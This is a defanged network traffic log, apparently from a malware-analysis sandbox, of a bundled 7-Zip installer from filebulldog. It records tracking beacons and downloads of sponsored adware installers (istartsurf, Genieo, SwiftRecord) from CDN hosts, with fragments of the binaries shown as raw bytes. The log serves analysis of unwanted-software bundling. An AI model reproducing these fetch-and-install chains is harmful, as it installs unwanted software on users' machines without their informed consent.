User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.google-analytics.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Pragma: no-cache

Expires: Wed, 19 Apr 2000 11:43:00 GMT

Last-Modified: Wed, 21 Jan 2004 19:51:30 GMT

X-Content-Type-Options: nosniff

Content-Type: image/gif

Date: Thu, 16 Apr 2015 19:45:14 GMT

Server: Golfe2

Content-Length: 35

Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-revalidate

Age: 477483

Alternate-Protocol: 80:quic,p=1
GIF89a.............,...........D..;HTTP/1.1 200 OK..Pragma: no-cache..
Expires: Wed, 19 Apr 2000 11:43:00 GMT..Last-Modified: Wed, 21 Jan 200
4 19:51:30 GMT..X-Content-Type-Options: nosniff..Content-Type: image/g
if..Date: Thu, 16 Apr 2015 19:45:14 GMT..Server: Golfe2..Content-Lengt
h: 35..Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-re
validate..Age: 477483..Alternate-Protocol: 80:quic,p=1..GIF89a........
.....,...........D..;....


GET /__utm.gif?utmwv=5.6.4&utms=4&utmn=2121860181&utmhn=installer.filebulldog.com&utmhid=1351802398&utmr=-&utmp=Offer_Accepted&utmht=1429691003977&utmac=UA-31676879-1&utmcc=__utma=1.740709646.1429690889.1429690889.1429690889.1;+__utmz=1.1429690889.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qhCAAgAAAAABAAAAAAAAAAAE~ HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awde7zip53656/7zip/b09e9cabd4f5904a8751fabb44d764c3?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.google-analytics.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Pragma: no-cache

Expires: Wed, 19 Apr 2000 11:43:00 GMT

Last-Modified: Wed, 21 Jan 2004 19:51:30 GMT

X-Content-Type-Options: nosniff

Content-Type: image/gif

Date: Thu, 16 Apr 2015 19:45:14 GMT

Server: Golfe2

Content-Length: 35

Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-revalidate

Age: 477490

Alternate-Protocol: 80:quic,p=1
GIF89a.............,...........D..;HTTP/1.1 200 OK..Pragma: no-cache..
Expires: Wed, 19 Apr 2000 11:43:00 GMT..Last-Modified: Wed, 21 Jan 200
4 19:51:30 GMT..X-Content-Type-Options: nosniff..Content-Type: image/g
if..Date: Thu, 16 Apr 2015 19:45:14 GMT..Server: Golfe2..Content-Lengt
h: 35..Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-re
validate..Age: 477490..Alternate-Protocol: 80:quic,p=1..GIF89a........
.....,...........D..;....


GET /__utm.gif?utmwv=5.6.4&utms=5&utmn=590287193&utmhn=installer.filebulldog.com&utme=8(sp_slug)9(istartsurf)&utmhid=1351802398&utmr=-&utmp=Install_Complete&utmht=1429691028924&utmac=UA-31676879-1&utmcc=__utma=1.740709646.1429690889.1429690889.1429690889.1;+__utmz=1.1429690889.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qxCAAgAAAAABAAAAAAAAAAAE~ HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awde7zip53656/7zip/b09e9cabd4f5904a8751fabb44d764c3?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.google-analytics.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Pragma: no-cache

Expires: Wed, 19 Apr 2000 11:43:00 GMT

Last-Modified: Wed, 21 Jan 2004 19:51:30 GMT

X-Content-Type-Options: nosniff

Content-Type: image/gif

Date: Thu, 16 Apr 2015 19:45:14 GMT

Server: Golfe2

Content-Length: 35

Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-revalidate

Age: 477515

Alternate-Protocol: 80:quic,p=1

GIF89a.............,...........D..;HTTP/1.1 200 OK..Pragma: no-cache..
Expires: Wed, 19 Apr 2000 11:43:00 GMT..Last-Modified: Wed, 21 Jan 200
4 19:51:30 GMT..X-Content-Type-Options: nosniff..Content-Type: image/g
if..Date: Thu, 16 Apr 2015 19:45:14 GMT..Server: Golfe2..Content-Lengt
h: 35..Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-re
validate..Age: 477515..Alternate-Protocol: 80:quic,p=1..GIF89a........
.....,...........D..;..

GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=b09e9cabd4f5904a8751fabb44d764c3&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=istartsurf&tokyo_csrf2_key=5df8714340d05f0ce07c7cf881e49ca2&tokyo_csrf2_timestamp=1429690888&slot_number=3&index_in_screen=1&index_in_session=3&0.30776611432051115 HTTP/1.1

Accept: */*

Referer: hXXp://installer.filebulldog.com/awde7zip53656/7zip/b09e9cabd4f5904a8751fabb44d764c3?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: installer.filebulldog.com

Connection: Keep-Alive

Cookie: __utma=1.740709646.1429690889.1429690889.1429690889.1; __utmb=1.1.10.1429690889; __utmc=1; __utmz=1.1429690889.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 22 Apr 2015 08:22:43 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 22 Apr 2015 08:22:43 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=832858-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 22 Apr 2015 08:20:12 GMT

Content-Type: application/octet-stream

Content-Length: 277618

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 832858-1110475/1110476
.'.. .O..l$.wQi.t...g%..4..........9:1`..?......]... ...Z....Br.B.....
.A.........i..T.#.F.d.[....C.xJ.K}..pF..J...<9.rgt....[p%..\u/...7.
~.K.......v#........a.=......h.....6......v.K...../VN.=..I.e.Cc.6..W@.
.,.dn.j..d.A{.A..D.Q.~...5...=L]>...|.H..},.^E..\F.c...D^.}]D....'[
L....`.3Dp..r....P.....-....v-.[0.\....22cK...^.=?c.t....a.........R.s
o1.lI..Q_./`..,\../.c.?...S...K.O?...j.....s.....($.k...,x.?......z...
w.(.^=..4J.S*K.qm...`oG.D.<6a.........R....`..QNx......:..=g.K.....
...X4........T-J.........j.sh....}..Y.`..MThf.')^.[..;.'..X.a..&.....-
...x.....{.b...a...3....9{Y...`S......\...&F[....8.QL....S....n.......
Sc..:...Zd...n..q....R......6n.90.q~....<.o....5............`..n...
.~.p...OUr...y.8}.R%....y.*[email protected]..
.`..l....S......l]j.../.<..{1k>H.h.m.......2O.....4.2..L...a.(c.
...F...._..7.]......C[.i.3u..e...........0...m.j..h>...R.mu..] d.4.
.v.......g........t...\.*C......u0......w.K3..M.U......^.d.\.X.~..:.p.
...O..tNgx.....c...o...'..AY....|..t .....\.U........RE...N ..-,.nPgqw
......p.H.bMz...HJ.OG\.*....!..G/%..<...T..x.tn=..[1..sB.......z.FS
.8I....;.....].7.... ...|HT.fE...pX....-.......6..,.$.~.;..b....EZ~..,
........A.-..-.. ......T<N,..O([email protected]=.>..
.n.....6b.p....^4.....^.A./.......~5..z..~..UO.......iH.6..%....... .1
...{o..f$U>.]Y7.Xh|..![.............<......P9)..Q,..B.t.....f{..
t[...'.....&..VJ. ..9T!XH......&y.=.....O...4...Z....S..g..E/D.I%o....
PBL.........`.0..9I....&....d.....^... ....|Q....Qn..e"\.2.o.7_..A<<< skipped >>>

GET /infv5/index/3428/bnd HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: dqoup4b5zs0bi.cloudfront.net

Accept: */*

Accept-Encoding: gzip, deflate

Connection:keep-alive


HTTP/1.1 302 Moved Temporarily

Content-Type: text/html

Content-Length: 0

Connection: keep-alive

Date: Wed, 22 Apr 2015 08:22:58 GMT

Location: hXXp://dlrkbt247pbk6.cloudfront.net/3428_3b67a5ef5d450c1556c543c6323981d9/1.pak

Server: nginx

X-Cache: Miss from cloudfront

Via: 1.1 5f32e0f17e78c0bfe70226dd05074c92.cloudfront.net (CloudFront)

X-Amz-Cf-Id: jv5nXkvY4RSZuPByrwzFy-rZm5Moi5VRBk92sOONdJg_iiMgBRMs_Q==

HTTP/1.1 302 Moved Temporarily..Content-Type: text/html..Content-Lengt
h: 0..Connection: keep-alive..Date: Wed, 22 Apr 2015 08:22:58 GMT..Loc
ation: hXXp://dlrkbt247pbk6.cloudfront.net/3428_3b67a5ef5d450c1556c543
c6323981d9/1.pak..Server: nginx..X-Cache: Miss from cloudfront..Via: 1
.1 5f32e0f17e78c0bfe70226dd05074c92.cloudfront.net (CloudFront)..X-Amz
-Cf-Id: jv5nXkvY4RSZuPByrwzFy-rZm5Moi5VRBk92sOONdJg_iiMgBRMs_Q==..

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=277620-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 22 Apr 2015 08:20:12 GMT

Content-Type: application/octet-stream

Content-Length: 832856

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 277620-1110475/1110476
../cXh~.Q....mj..Yt..>...(.e....(...kiq...lSR>...?... .N?.[c6...
C.(.pA.,.*..F...Y.Ij.j..p.%.r..e..h&...{-.....R^...`9.1PO6\8..>....
..Q"Rg.Z......Too...?.<....J..=,.q...}y.=.T..*W...C9..].........^e.
"T..`.&F..M...^-6Wz_:..YW.B.......'......O;,k..".gGP..<$-..1 .;.s|X
....-....%,....@.]AU.. ..\ko... .w~g..1K.......;A..|.r..%.............
.......... .)..2....e..<.J.i."....c..oZ...TE..j...........H..,8W.c.
.ST.zz.M.;-Pk5z...y..r.W~.;(F7,........w5...Ef...9Eo..[.Q...\.....9..f
6...j.mq*pRc..Z*.R..IW...j4Y.D ...T...Sn_.0.tY[/g./]ehAw..@<W......
0QO\Cj(.C.-.......*..5|.-.0..$.V..pX...T........HA.....}..........}.;.
 ....LPV.X..0W..H.........z..F(.o.:........Fd.'C..= . ..e.....%Z.t....
t.Bz.?...s.....L...ds....[....dr.....E(.z)vD17...d...m... ..........ms
..g...8V._x.X..D..g.WQ&....$...}o.Q5u..#6.. .`.......~..%.ir.W....zoYI
1b.......t`.2t.U.~5....t.......jd..rv.O..........s.o.}....A....9..o%..
.j.....R.LQ[.9qY1d?..?n.F.........*F}.b-.P`....y.6.=n...Kge}onq..u%.O|
.X>..."]..%H.;[email protected].. ........^...*.--....^n3.....2A.....
..,..Wg./.........p>....ci.........w..2.g...6^:.`..b... .'r........
........D....RH..[.`i..1*.rs....O..BG5...)nU..tX...r..CZ..V=)@.4r..)v:
./M$..5...'4....Bey.0Y..*..#7...q.../.#N.@....__......<85d$.z.%G...
(....-.d...I.........g....S:..&...2.....t..........h.c.......ty.G. .T.
k.>R....C...S.K.S.....,3LZe......a..#&SH.Q.R......4P......0}IC.h)N.
7..G....G1..........<..!.....=.I......S...tE.d.d.Y.......qf@I=nB...
.....V...'...z.]y./.......ng..VY...y.|......2.J..'.^.z....W..d....<<< skipped >>>

GET /v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.regok HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Wed, 22 Apr 2015 08:23:31 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"0.59 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Wed, 22 Apr 20
15 08:23:31 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.59 ms","message":"store 1 ac
tion and 0 update "}..0......

GET /v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.finish HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Wed, 22 Apr 2015 08:23:37 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"0.55 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Wed, 22 Apr 20
15 08:23:37 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.55 ms","message":"store 1 ac
tion and 0 update "}..0..

GET /18865.ashx?e=CMT2M57d1xmfZNC1TqAoBHsn3FpN4laB1VMaOJFqXYpxTYwWxYG9WJlbztiqtoL/kmHgElHm6Zamn/tEKIOyBXf1ws7XaD2yRYhZSGl8ahHJscN vLrCo78exDZM0cTsP3GhIJ9WssI TdI1rDUfDB/Kp5gsiu7 yQUz6dheYMQvjIa5KtPcv/jLj1QsAUMmM6bcDedJcIMOpmbziZmW1eQRE0cF7lrf/k6YQPAn cmB5nIkMjph0BJ7ytXtOq9SKV0xCpDcC6ECkfAR9QM72jz4pxZKLL7/a0RCgbXs/u1ilv6ykvr0VwgDjjE9zaqiH2RiyWzXjsvqmqBW5XL7l9IYL8x1ybsb4FXLrRIVqTq10EZsxP4trEIkQsYPNggSlJQe0vxDLEzDsdDpQ6tGYV8yzKP9iG8Dm7k0HmXcf88Sy wW7Vv/w4xBfpeCLMatvuksb7LC7IaCnTaHRnGMLB0lcfia15nl0eFK1c7Xfl6fqJvtbGSe/nXBYmj vXd E7kNQwB4lhRWxdc2tTwxuylfDB3e3gQ 62ls PLHCLAiYA14BsUXG3T8yBNq2sRxCVpHDePMpxXW5lnk56ZrbwxjS6fy1fM/zRGD jAU8bbYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW Q== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:21:36 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Wed, 22 Apr 2015 08:21:36 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..

GET /17416.ashx?e=N6dOqWm8Q97B 4EkIHdGP1cIRGsRtnBa7OXLse4BafTbQC nVTu53mZVsyaCUtL6kJDZemxzbLHWdrjaSeXx23ankOHCPrFazGThMIf51WVXR/NyvIYFLdzDfL2GbTHUVR5AawbKoxpd5sSQkmuoYIk0rxKiBQAQaACykertHSH4s2O1I39PFhQC drCF7eFc68xQtOPoFdziGZvY0I4cPzdW36cscYu2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2jwcgnxskTEU3UUNYg7k1gh3qy44NMFjniEc/tpgWF 4QCPq0sZbJmrMOG6Yjxv3CA== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:22:05 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

....

GET /17416.ashx?e=obiBp3WOda80dGo5FFu/RWMaABmnnjRG5codDIH2EkZ4E7mrr1h80pGhRXiiBAM3RDecOO4yPd7dRQ1iDuTWCHerLjg0wWOeIRz 2mBYX7hAI rSxlsmas5NAsDwqh2rmVvO2Kq2gv SYeASUebplq Kqv6oEpAsAMFLo3/8lmmGLGe0GBQxZ8R12Y34RZ2ijgb6v7cXpPvfJKubRTxkYJh48KI0fWwjBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLom28dR Cm5TWdrjaSeXx23ankOHCPrFazGThMIf51WVXR/NyvIYFLdDZX/Rrx6x1 HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:22:05 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=1125538-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 160791

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT

Accept-Ranges: bytes

ETag: "b8e31d44765d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Wed, 22 Apr 2015 08:18:06 GMT

Content-Range: bytes 1125538-1286328/1286329

X-Cache: RefreshHit from cloudfront

Via: 1.1 59230305fa4e8eba32de075786d44476.cloudfront.net (CloudFront)

X-Amz-Cf-Id: lOonexlqUptIDVxbDOHeuoQ-JRExZ_WjA-2gdQMCklcgNhiFJvRpJQ==
.M.......3...?../....d..L:.M..6Jbl3...@....|\.V..I.=..q....Y6...|..?..
I.z.i.H.'.%....t\..{:4CK...e..Va.S3.2.......R.........l.?...p.\.M.?...
e1...V.....Sw..4GWU.y.....*O}"HSj.i.D../S.....z.n.>.`:...y.........
...h..D!.R../V.*&..?2B.G../F..6H...^yt...I...;!.......DN.....E6..!....
g.S.?.!}G.. .*..O...:..(-w. ._q.T.w...T.PZ..b..e0.AG..X.8..|.{a...n...
....c.V.Y....T..x.....6V.............)...S.$..%..y.'.........t..NN...,
....._.>8..In.....2.....Ey.Y5..a.`Q.....<....n0.XA.....^.?8PI...
~.D...yE..2.&q..T......t........}..R...O.P....Y....5..S.L..I...../....
8k....*tx.w.`...E.....B.v/.......]%X.h.j.....o.2...D...(>7a.....9..
.Y...iH.f.....r.5"V..B.9x.vPh..Z.;.......y.,}.:.:.>..[..#9KA..'.W..
./....Iw.9.......k.o..d....R...t..yM{.............../h...A.........9..
...-.5..X.W,z.../u0. ..6..#nv.wK......k}.....BB?mC...f..a.O.B^....W.Q.
f.R...M7.....I`W.R..|v|....{...........L6.6.w....5L9 ..#1.5=c...K..x~/
..o..V...1.....^....Zr../@...; `....D...'..6"[email protected].>
;.Cg|....N.h~X..F..4........D.&.....N..o.. .`...;.q8U2%.6...tT.e...D.q
..=.\[email protected]*.\M&..-K#..<1..;.f..F...U..
[.`.....i.Wap.O..W.a.r?..E..x [email protected]..........:$GH.n...........e
W.....4>.........e..L.S)..:.s0.VwkI..~..u;..,.........)v{...i...@..
F.7Y(...........*....O..w.|..L..9............o.s..a..F.HO.%.....1..w..
...ul.....3..N......U..8......%.........y...|*.f......jk..V.?a.$.....V
..3_...A&..D. .%..[@..I..E*......>q..2.{i...,...n...F.5.a.H..7R...X
.0G..!..q.!.V.W.....FF.x...x..........6a)..X...V"....Vv..3...K'o.&<<< skipped >>>

GET /MFQwUjBQME4wTDAJBgUrDgMCGgUABBQmECJms4f7i5EbxtN7NbzQCBwAdAQUUa8kJpz0aCJXgCYrO0ZiFXsezKUCE1oAAMJz1l6tff2DltkAAQAAwnM= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.msocsp.com


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:24:20 GMT

Content-Type: application/ocsp-response

Content-Length: 1757

Connection: keep-alive

Set-Cookie: __cfduid=dfa6df83ba4566a168fccbe0bb94fb48d1429691060; expires=Thu, 21-Apr-16 08:24:20 GMT; path=/; domain=.msocsp.com; HttpOnly

Last-Modified: Wed, 22 Apr 2015 06:31:44 GMT

Expires: Sun, 26 Apr 2015 06:31:44 GMT

ETag: "99f838fe22948eba21cbb6299627718a546d7045"

Cache-Control: max-age=10800,public,no-transform,must-revalidate

X-Cache: HIT

CF-Cache-Status: HIT

Server: cloudflare-nginx

CF-RAY: 1dafee86fc2b01b1-FRA
0..........0..... .....0......0...0..........<.|[email protected]|..2015
0422063144Z0..0..0L0... ........&."f........{5.....t..Q.$&..h"W.& ;Fb.
{.....Z...s.^.}.........s....20150422063144Z....20150426063144Z."0 0..
. .....0......20140422063144Z0...*.H.............[...].2.......Mcc._.U
4>..;.1....'..P._.bqbX......4.k.y.U..vxw?a.C...a.s..d.H}jy..n..*...
gQq........!.......P?\)[email protected].=.-.0......
.]..U..*.$V.....L.n,.*...RVG.k.h...w.U...5...`.}....iy./..ja..i..c....
K6.R.G..~../.'.~...^5Y..../.....0...0...0..........Z.....W.3..........
0...*.H........0..1.0...U....US1.0...U....Washington1.0...U....Redmond
1.0...U....Microsoft Corporation1.0...U....Microsoft IT1.0...U....Micr
osoft IT SSL SHA20...150304231653Z..150518231653Z0!1.0...U....Should b
e ignore by CA0.."0...*.H.............0...........&!(..$.K...."=f....x
.d.._s.....j....9`..l.Z..............^f..u......-e.&.bG.(i.Q..........
.bEy...^7A...A..c....CF-&...e.7..7F....."..w...y.:..`.w{~..D.x*.......
x3Os......q...... S.fB .ig.....L..3......4E..}..7...M....e ...6.M.O...
..<5:......r.....]..A.5........0..0...U..........<.|[email protected]
|0...U.#..0...Q.$&..h"W.& ;Fb.{...0...U...........0...U.%..0... ......
.0... .....7....0.0... .......0... .....0......0...*.H................
.9........V.O..o.6........O......8=\..Uy}.%..y.^.*_#@.L.\....s..im.k.\
Y5.h.h.%.&%.E]..G...aAn./q...omj........e.._....|.S...y0..$....|A@.._X
l98k.Q...s5. ;....|p....n/\"d0.c#..7....1Nv...h8.X.G....F.x.(K.....lx1
. .......O.....%.Gk|......"[email protected]/.o-....\.r....@I.<<<< skipped >>>

GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

Range: bytes=741306-

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

x-amz-id-2: pFSj Nkd7M9U5alRso7OwBAWOSArG7DWEXc oKjwdorywLWKC1ixGI oImO9WJqr

x-amz-request-id: 6EC03A07C3FB25A9

Date: Wed, 22 Apr 2015 08:23:53 GMT

Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT

ETag: "d65611fbc4da8cea4e886076bec82d1e"

Accept-Ranges: bytes

Content-Range: bytes 741306-988407/988408

Content-Type: application/octet-stream

Content-Length: 247102

Server: AmazonS3
......yM.[....~.....8.^..$5*iD..8.'.~N.1.Dfm.Pz.\..M.a.. .h#....H..&..
.@..............*P......\..d....#V..Q...p7.sY....8FX.....k...~...P....
[email protected].].....y..N.k.%U..L......8..?.....8..x.v...{.e.. .p.Zp..O...JBe.H.
.M.\(..y.d.&.B....H*........5...........uZ...JfY(..;.x.......k..w1....
..>.n.&$I....~K...M......w..#A....D..ms.z...zx.a6.5.BY..k.f...$....
.H|..^.....9...F.m.u-...'...H.w.eYA......{5....R."..d#..z:..0......H..
.....su..........t.5.....8.t....T1...C7.9y......_wO_...b.....)/....^..
....NH...7.;i...U..o...u..k#o....\Z..Ha^..T.H"'......s.........1...U.{
g..r..*o...^.....t%B....o.DV......!...8.....V @j....P.4o.z\..B.8S $z8.
/.x...~sw?ol..f.0}...a..`u.A...(n..o...:.).Ga..h^.jZ.'.c...q..^$..)...
..n.....y~~s[50...E.. ...S._A.F.}...F.e.shd<.4fL...j....|E...'U..e.
B.....Q.!J...K..Q._......6ME....b...`8.!.5.E..........'1.....2.D.SA.Lo
.]../..d.........SP......-n..g*.k.../....G]{..R...6s.....j.;..M.4.....
..s8.Q~.jbx.o.!..G.O... ..C....).:..........n".c.=.q].e..2.D....J..lFn
y../-....e....?......3`.|.......n.A...|h$;.....wu...1...4z9.t..#..f.&g
t;....A.).._..J..Bs/5.b_....C.}.....&...nU?n...Lb.hH....H.o...........
.RE.{...=.v.sjw.m!4f..AC).....1..F..A*..s.......;z^NMQ.P..D.SEf.......
AM........$.qzgM......=.....A.8..y...,......{..|......!...Q....u......
........m...8?......q...t.w...M.yE.D.K.h.........).......|....#...3...
.[.6.G......C..e..T.....!......k=...JuEzV./.w..."Cj.0......~T.N.......
.O.[..G5o..........Q...V.c..H.......'z..mX1.......}w.NE.K....j.1T=.)}.
....zS..9...v......A....$...........r..dc.."r.0..l..h..H.......;..<<< skipped >>>

GET /sd?is=sm HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.theswiftrecord.com

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SwiftRecordSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP001C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Thu, 23 Apr 2015 08:20:09 GMT

Date: Wed, 22 Apr 2015 08:20:09 GMT

Content-Range: bytes 0-523263/523264

Content-Length: 523264

Connection: keep-alive
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
................. .......;.......................................s....
......................................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
.....p..............@....ndata.......p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
[email protected]..<.....W..?....;.tBj\V
. [email protected]...|p@[email protected]:.u.9].t.j.
.....Wh.0G...C..W..tp@..^...j..0...S.....P..F...5...j......j........j.
[email protected]][email protected]....
..E.PWh. [email protected]#.E.;.v%8.t!V..F..;.t...,P.u...C.....E.......9]..
.....h. [email protected]. [email protected]
[email protected].~B....h.0G.V.qB..P.^
=..P..B..V..D...P.@..}..|1V.IE..3.;.t..M....QP..`[email protected].........#<<< skipped >>>

GET //MEIwQDA+MDwwOjAJBgUrDgMCGgUABBQdI2+OBkuXH93foRUj4a7lAr4rGwQUOpqFBxBnKLbv9r0FQW4gwZTaD94CAQc= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.godaddy.com


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:23:17 GMT

Server: Apache

Content-Transfer-Encoding: Binary

Cache-Control: max-age=118833, public, no-transform, must-revalidate

Last-Modified: Wed, 22 Apr 2015 07:08:05 GMT

Expires: Thu, 23 Apr 2015 19:08:05 GMT

ETag: "1230b5e5c5dc3c5a863c4d7717516d4202daee11"

P3P: CP="IDC DSP COR LAW CUR ADM DEV TAI PSA PSD IVA IVD HIS OUR SAM PUB LEG UNI COM NAV STA"

Content-Length: 1741

Connection: close

Content-Type: application/ocsp-response

0..........0..... .....0......0...0.....0..1.0...U....US1.0...U....Ari
zona1.0...U....Scottsdale1.0...U....GoDaddy.com, Inc.100...U...'Go Dad
dy Root Validation Authority - G2..20150422070805Z0d0b0:0... .........
#o..K......#..... ...:....g(.....An ............20150422070805Z....201
50423190805Z0...*.H................p.*Ya.k....q.Z..n.....z...[k...F.^.
...T......)...C......6......./...h...x.#.|....\..=.......p....O0......
